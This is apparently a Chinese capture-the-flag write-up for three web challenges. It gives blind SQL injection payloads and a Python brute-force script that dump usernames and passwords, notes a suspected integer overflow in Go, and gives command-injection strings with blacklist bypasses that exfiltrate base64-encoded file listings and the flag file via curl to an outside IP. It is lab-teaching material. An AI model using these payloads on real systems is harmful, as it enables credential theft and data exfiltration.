Week 3

Web

- ### Login To Get My Gift

除了登录框的登陆成功与否以及是否下发 Session Cookie 外，没有任何有差异的响应。猜测是 SQL 布尔盲注。

Post 用户名 *testuser*，密码 *testpasswor'or(...)or'0* 可执行括号内的 SQL 语句。通过登陆成功与否可判断语句执行结果为真或假。

防火墙过滤了等号，使用大小于进行判断。

testpasswor'or(length(database())<8)or'0 返回登录成功，

testpasswor'or(length(database())<7)or'0 返回登陆失败。

得知数据库名长度为 7

testpasswor'or(strcmp(left(binary(database()),'1'),binary('l')))or'0
strcmp()当两字符串相等时返回 0，对应返回登陆失败的提示。猜测库名首字母为 l

写脚本爆破

```
1. import requests
2.
3. keywords='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUV
   WXYZ!~?@#$&*-_'
4. url = 'http://week-3.hgame.lwsec.cn:32210/login'
5.
6. known_words = ''
7. counter = 7
8. leftconter = 0
9. while(counter != 0):
10.     counter = counter - 1
11.     leftconter = leftconter + 1
12.     #holder = holder[1:]
13.     for key in keywords:
14.         guestwords = known_words + key
15.         print('Now testing ' + guestwords + '')
16.         payload = 'testpasswor\'or(strcmp(left(binary(database()),'
   + str(leftconter) + '),binary(\'' + guestwords + '\')))or\'0'
17.         x = requests.post(url, data = {'username': 'testuser', 'pass
   word': payload})
18.         if('Failed' in x.text):
19.             print("currect!")
```

```
            known_words = known_words + key
            break
        if('Success' in x.text):
            print("wrong")
            continue
        if('Error Occurred' in x.text):
            print("Error!")
            exit()
print(known_words)
```

最后跑出库名为 *l0g1nme*

testpasswor'or((select(count(table_name))from(information_schema.tables)where((table_schema)in('L0g1NMe')))<2)or'0

登陆成功，表只有一张

testpasswor'or((select(length(table_name))from(information_schema.tables)where((table_schema)in('L0g1NMe')))<15)or'0

表长度 14

testpasswor'or(strcmp(left((select(table_name)from(information_schema.tables)where((table_schema)in('L0g1NMe'))),'1'),'l'))or'0

同样写脚本，爆表名 *User1nf0mAt1on*

testpasswor'or((select(count(column_name))from(information_schema.COLUMNS)where((table_name)in('User1nf0mAt1on')))<4)or'0

表内字段数 3

testpasswor'or((select(length(group_concat(column_name)))from(information_schema.COLUMNS)where((table_name)in('User1nf0mAt1on')))<21)or'0

字段 concat 后长度 20

testpasswor'or(strcmp(left((select(binary(group_concat(column_name)))from(information_schema.COLUMNS)where((table_name)in('User1nf0mAt1on'))),'1'),binary('i')))or'0

字段名分别为 *id, UsErN4me, PAssw0rD*

testpasswor'or((select(length(group_concat(UsErN4me)))from(User1nf0mAt1on))<31)or'0

用户名 concat 后长度 30

testpasswor'or(strcmp(left((select(binary(group_concat(UsErN4me)))from(User1nf0mAt1on)),'1'),binary('i')))or'0

用户名有 *hgAmE2023HAppYnEwyEAr,testuser*

testpasswor'or((select(length(group_concat(PAssw0rD)))from(User1nf0mAt1on))<40)or'0

密码 concat 后长度 39

testpasswor'or(strcmp(left((select(binary(group_concat(PAssw0rD)))from(User1nf0mAt1on)),'1'),binary('i')))or'0

密码分别为 *WeLc0meT0hgAmE2023hAPPySql,testpassword*

最后使用 账号 *hgAmE2023HAppYnEwyEAr* 密码 *WeLc0meT0hgAmE2023hAPPySql* 登陆即可。

上周的注入题有查询输出，可以直接把 flag 查出来。然而当时不知道怎么注入查 flag 的语句，就直接盲注了。写这周的题目也参考了上周的盲注思路、语法和脚本，把 like 和 in 换成 strcmp 和大小于就好了。括号太多看的有点头疼，debug 占用了比较多的时间。

- ## Gopher Shop(未完成)

  Go 语言，Web 题，商店。盲猜有数据溢出漏洞，联想到 2019 年中科大 hackergame 的达拉崩吧。这道题给出了源代码，user.go 中存在对 number 变量的强制类型转换：（对 Go 了解的不多，不太确定）

```
    //校验是否买的起
    if err != nil || number < 1 || user.Balance < uint(number) * price{
        context.JSON(400, gin.H{"error": "invalid request"})
        return
    }

    user.Days -= 1
    user.Inventory -= uint(number)
    user.Balance -= uint(number) * price

    //扣除库存和余额
    err = db.UpdateUserInfo(user)

    if err != nil {
        context.JSON(500, gin.H{"error": "delete balance and inventory error"})
        return
    }

    err = db.AddOrder(username.(string), product, uint(number), true)
```

  在 invalid request 报错后面新增几个调试报错信息，传一个比较大的 number 值看看 number 和 uint(number) 的结果分别是什么。

  然而准备测试环境的时候，因为程序比较简单，选择了直接编译裸跑。然后发现许久没启动过的 MariaDB 炸了……再然后全部滚一遍软件包升级的时候，开机卡死了……虽然最后切到 LTS 内核把系统救了回来，但还是浪费了不少时间，也没有把数据库整明白。

- ## Ping To The Host

  &&分隔命令，${IFS}代替空格，对某些黑名单内的命令，插入${21}绕过。

  Localhost

  localhost&&sleep${IFS}5

  对比两者响应延迟，后者明显慢 5 秒

  起一个 web 服务器在公网上，执行命令：

  localhost &&curl${IFS}180.141.247.1:21618/`l${21}s${IFS}/|base64${IFS}-w${IFS}0`

  查看 web 服务器日志，对请求路径进行 base64 解码

  得知根目录下存在文件 *flag_is_here_haha*

  执行命令：

  localhost &&curl${IFS}180.141.247.203:21618/`ca${21}t${IFS}/fl${IFS}ag_is_here_haha|base64`

  查看 web 服务器日志，对请求路径进行 base64 解码，得到 flag。